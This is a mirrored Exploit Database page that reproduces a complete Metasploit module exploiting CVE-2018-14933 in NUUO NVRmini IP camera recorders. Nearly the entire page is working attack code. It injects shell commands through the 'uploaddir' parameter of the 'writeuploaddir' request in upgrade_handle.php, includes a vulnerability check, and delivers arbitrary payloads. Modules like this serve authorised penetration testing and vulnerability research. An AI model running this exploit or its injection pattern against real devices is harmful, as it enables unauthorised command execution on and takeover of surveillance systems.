NUUO NVRmini – upgrade_handle.php Remote Command Execution (Metasploit)

• Exploit Database
• 101 阅读

• 作者： Metasploit
  日期： 2019-02-11
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46340/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> 'NUUO NVRmini upgrade_handle.php Remote Command Execution',
  'Description' => %q{
  This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
  which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Berk Dusunur', # @berkdusunur
  'numan turle' # @numanturle
  ],
  'References' =>
  [
  ['URL', 'https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html'],
  ['URL', 'https://www.tenable.com/security/research/tra-2018-41'],
  ['CVE', '2018-14933'],
  ['EDB', '45070']
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Platform' => %w{ unix win linux },
  'Arch' => ARCH_CMD,
  'Targets'=> [ ['NUUO NVRmini', { }], ],
  'DisclosureDate' => 'Aug 04 2018',
  'DefaultTarget'=> 0))
  end
  
  def check
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
  'vars_get' =>
  {
  'cmd' => 'writeuploaddir',
  'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
  }}
  )
  
  unless res
  vprint_error 'Connection failed'
  return CheckCode::Unknown
  end
  
  if res.code == 200 && res.body =~ /upload_tmp_dir/
  return CheckCode::Vulnerable
  end
  
  CheckCode::Safe
  end
  
  def http_send_command(cmd)
  uri = normalize_uri(target_uri.path.to_s, "upgrade_handle.php")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=>uri,
  'vars_get' =>
  {
  'cmd' => 'writeuploaddir',
  'uploaddir' => "';"+cmd+";'"
  }}
  )
  
  unless res
  fail_with(Failure::Unknown, 'Failed to execute the command.')
  end
  
  res
  end
  
  def exploit
  http_send_command(payload.encoded)
  end
  end
  

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